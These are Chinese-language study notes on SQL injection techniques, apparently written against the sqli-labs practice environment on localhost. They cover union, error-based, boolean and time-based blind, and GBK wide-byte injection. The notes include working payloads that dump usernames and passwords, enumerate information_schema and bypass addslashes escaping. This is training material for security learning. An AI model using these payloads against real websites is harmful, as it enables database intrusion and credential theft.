什么是sql注入?
所谓SQL注入,就是通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入漏洞的本质是把用户输入的数据当做代码来执行
SQL的注释符号为–后跟一个空格,因为在网页的URL中注释符中的空格会被舍去,因此使用–+来表示注释,+号会被URL编码后变成空格。
常见SQL注入的类型:
- 联合查询注入
- 报错注入
- 布尔盲注
- 时间盲注
- 宽字节注入
联合查询
-
如何判断可以联合查询注入
- UNION连续的几个查询的字段数一样且列的数据类型转换相同,就可以查询数据
- 注入点有回显;
- 只有最后一个SELECT子句允许有ORDER BY;只有最后一个SELECT子句允许有LIMIT。
-
流程:
1. order by确定列数、
2. union select确定显示位
3. 读库,读表,读数据 -
127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,(select group_concat(username,'--',password,'<br>' )from users)--+
延时注入:
-
sleep()延时注入语句
-
?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
-
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+ ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
数据库第一个字母的 ascii 码为 115,即
s
sleep()函数,作用是延时。
-
version()——MySQL版本
-
user()——数据库用户名
-
database()——数据库名
-
@@datadir——数据库路径
-
@@version_compile_os——操作系统版本
-
常用的函数:
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid(‘hello’,1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
4.count()计算查询结果的行数;
5.concat()查询结果合并但保持原有行数;
6.group_concat()查询结果合并但都放在一行中;
7.ascii() 查询ascii码;
-
information_schema 是 mysql 自带表,保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema
-
使用and 1=1/1=2 判断是否时数字型注入
-
and ‘1’='1’和 and ‘1’=‘2’ 判断是否时字符型注入
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata–+ LIMIT 0,1
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(schema_name,’
’),3 from information_schema.schemata–+
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name,’
’),3 from information_schema.tables–+
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name,’
’),3 from information_schema.columns where table_name=‘users’–+
sql语句执行后,选择的数据不能回显到前端页面,此时采用盲注
布尔盲注:
-
?id=1' and left(database(),1)>'r'--+ ?id=1' and left(database(),1)='s'--+ //数据库名左边第一个字母是s ,当语句正确时会回显
-
函数:
-
mid():
- mid(column_name,start[,length]) 如mid(database(),1)
- MID(DATABASE(),1,1)>’a’ 查看数据库名的第一位
- MID(DATABASE(),2,1) 查看数据库名第二位
left():
- Left()得到字符串左部指定个数的字符
- Left ( string, n ) //n为长度
- left(database(),1)>’a’,查看数据库名第一位
- http://127.0.0.1/sqli//Less-5/?id=1’ and left(database(),2)=‘se’ --+ 判断数据库名的前两位是不是se
substr():
- Substr()和substring()函数实现的功能是一样的,均为截取字符串。
- string substring(string, start, length)
- substr(database(),1,1)>’a’,查看数据库名第一位
ORD()函数:
- 此函数为返回第一个字符的ASCII码
- ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114
ascii()函数:
- 转化为ascii值
like匹配注入:
- select user() like ‘ro%’
length():判断长度
报错盲注:构造payload让信息通过错误提示回显出来
- 当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容,即可实现SQL注入。
- 函数:
- floor()
- extractvalue()
- updatexml()
宽字节注入
宽字节:就是两个字节以上的字节,GBK编码一个汉字占两个字节
使用宽字节注入的前提
-
使用了GBK编码
-
使用了过滤函数,将用户输入的单引号转义(mysql_real_escape_string,addslashes),单引号无法发挥和前后单引号闭合的作用。
-
1' order by 2 --+ 会被转义成 1\' order by 2--+
这里的单引号仅仅就是一个单引号,并无作用
addslashes() 函数
- addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
- 预定义字符是:
- (‘)
- (“)
- ()
- NULL
- php中addslashes函数,会将字符加上转义符号。
什么是宽字节注入
- 绕过对单引号等特殊字符的转义,使转义符号与输入的字符结合形成一个新的字符,从而进行注入
- GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠(\)组合被认为成汉字,从未达到让转义失效的目的,进而使单引号发挥作用
- 前一个字符的ASCII要大于128,两个字符才能组合成汉字
- 反斜杠的GBK编码为%5C